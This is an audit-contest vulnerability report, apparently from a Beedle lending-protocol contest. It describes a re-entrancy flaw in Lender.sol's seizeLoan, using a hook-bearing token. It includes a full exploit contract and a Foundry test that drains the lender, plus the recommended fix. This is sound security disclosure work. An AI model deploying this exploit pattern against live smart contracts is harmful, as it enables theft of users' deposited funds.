20,000 USDC
View results
Submission Details
Severity: medium
Valid

Lender contract can be drained by re-entrancy in `seizeLoan`

Summary

Tokens allowing reentrant calls on transfer can be drained from the contract.

Vulnerability Details

Some tokens allow reentrant calls on transfer (e.g. ERC777 tokens).
Example of token with hook on transfer:

pragma solidity ^0.8.19;
import {ERC20} from "openzeppelin-contracts/contracts/token/ERC20/ERC20.sol";
contract WeirdToken is ERC20 {
constructor(uint256 amount) ERC20("WeirdToken", "WT") {
_mint(msg.sender, amount);
}
// Hook on token transfer
function _afterTokenTransfer(address from, address to, uint256 amount) internal override {
if (to != address(0)) {
(bool status,) = to.call(abi.encodeWithSignature("tokensReceived(address,address,uint256)", from, to, amount));
}
}
}

This kind of token allows a re-entrancy attack in the seizeLoan function. When the a loan is put up for auction and the auction finishes, the collateral can be collected by the lender, the collateralToken are sent to the lender before updating the state.

File: Lender.Sol
L565: IERC20(loan.collateralToken).transfer( // @audit - Re-entrancy can drain the contract
loan.lender,
loan.collateral - govFee
);
bytes32 poolId = keccak256(
abi.encode(loan.lender, loan.loanToken, loan.collateralToken)
);
// update the pool outstanding loans
pools[poolId].outstandingLoans -= loan.debt;
emit LoanSiezed(
loan.borrower,
loan.lender,
loanId,
loan.collateral
);
// delete the loan
delete loans[loanId];

https://github.com/Cyfrin/2023-07-beedle/blob/658e046bda8b010a5b82d2d85e824f3823602d27/src/Lender.sol#L565

An attacker can take a loan in his own pool and seize it, then the hook on token transfer allows him to re-enter the seizeLoan function to extract another time the collateral amount from the contract.

Impact

POC

An attacker can use the following exploit contract to drain the lender contract:

File: Exploit6.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
import {WeirdToken} from "./WeirdToken.sol";
import {ERC20} from "openzeppelin-contracts/contracts/token/ERC20/ERC20.sol";
import "../utils/Structs.sol";
import "../Lender.sol";
contract Exploit6 {
Lender lender;
address loanToken;
bool auctionEnded;
bytes32 attackerPoolId;
constructor(Lender _lender, address _loanToken) {
lender = _lender;
loanToken = _loanToken;
}
function attackPart1(address _loanToken, address _collateralToken) external {
ERC20(_loanToken).approve(address(lender), type(uint256).max);
ERC20(_collateralToken).approve(address(lender), type(uint256).max);
// (1) Create a new pool
Pool memory pool = Pool({
lender: address(this),
loanToken: _loanToken,
collateralToken: _collateralToken,
minLoanSize: 1,
poolBalance: 100,
maxLoanRatio: type(uint256).max,
auctionLength: 5 minutes,
interestRate: 0,
outstandingLoans: 0
});
bytes32 poolId = lender.setPool(pool);
attackerPoolId = poolId;
// (2) Take a loan in his own pool
Borrow memory b = Borrow({
poolId: poolId,
debt: 1,
collateral: 1_000*10**18
});
Borrow[] memory borrows = new Borrow[](1);
borrows[0] = b;
lender.borrow(borrows);
// (3) Take a second loan in his own pool to increase the pool `outstandingLoans` amount
b = Borrow({
poolId: poolId,
debt: 99,
collateral: 1
});
borrows = new Borrow[](1);
borrows[0] = b;
lender.borrow(borrows);
// (4) Put the first loan up for auction
uint256 loanId = 0;
uint256[] memory loanIds = new uint256[](1);
loanIds[0] = loanId;
lender.startAuction(loanIds);
}
function attackPart2(address _loanToken, address _collateralToken) external {
// (4) Seize the loan
auctionEnded = true;
uint256[] memory loanIds = new uint256[](1);
loanIds[0] = 0;
lender.seizeLoan(loanIds);
// (8) Send the funds back to the attacker
ERC20(_loanToken).transfer(msg.sender, ERC20(_loanToken).balanceOf(address(this)));
ERC20(_collateralToken).transfer(msg.sender, ERC20(_collateralToken).balanceOf(address(this)));
}
function tokensReceived(address from, address /*to*/, uint256 /*amount*/) external {
require(msg.sender == loanToken, "not loan token");
if (from == address(lender) && auctionEnded) {
uint256 lenderBalance = ERC20(loanToken).balanceOf(address(lender));
if (lenderBalance >= 1_000*10**18) {
// (6) Re-enter the `seizeLoan` function
uint256[] memory loanIds = new uint256[](1);
loanIds[0] = 0;
lender.seizeLoan(loanIds);
}
}
}
}

Here are the tests that can be added to Lender.t.sol to illustrate the steps of an attacker:

function test_exploit() public {
address attacker = address(0x5);
// Setup
vm.startPrank(lender1);
WeirdToken weirdToken = new WeirdToken(1_000_000*10**18);
weirdToken.transfer(address(lender), 10_000*10**18);
weirdToken.transfer(address(attacker), 1_000*10**18 + 1);
loanToken.transfer(address(attacker), 100);
assertEq(loanToken.balanceOf(address(lender)), 0);
assertEq(weirdToken.balanceOf(address(lender)), 10_000*10**18); // Lender contract has 10_000 weirdTokens
assertEq(loanToken.balanceOf(address(attacker)), 100); // Attacker has a few wei of loanToken
assertEq(weirdToken.balanceOf(address(attacker)), 1_000*10**18 + 1); // Attacker has 1_000 weirdTokens
// Exploit starts here
vm.startPrank(attacker);
Exploit6 attackContract = new Exploit6(lender, address(weirdToken));
weirdToken.transfer(address(attackContract), 1_000*10**18 + 1);
loanToken.transfer(address(attackContract), 100);
attackContract.attackPart1(address(loanToken), address(weirdToken));
vm.warp(block.timestamp + 5 minutes); // Wait 5 minutes for the end of the auction
attackContract.attackPart2(address(loanToken), address(weirdToken));
// Pool has been drained
assertEq(loanToken.balanceOf(address(lender)), 0);
assertEq(weirdToken.balanceOf(address(lender)), 1); // Lender contract has been drained (1 wei left)
assertEq(loanToken.balanceOf(address(attacker)), 100);
assertEq(weirdToken.balanceOf(address(attacker)), 10_945*10**18); // Attacker has 11_000 weirdTokens (minus the fees)
}

Tools Used

Manual review + Foundry

Recommendations

Follow the Checks - Effect - Interactions (CEI) pattern by performing the token transfers at the end of the seizeLoan function AND use nonReentrant modifiers

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.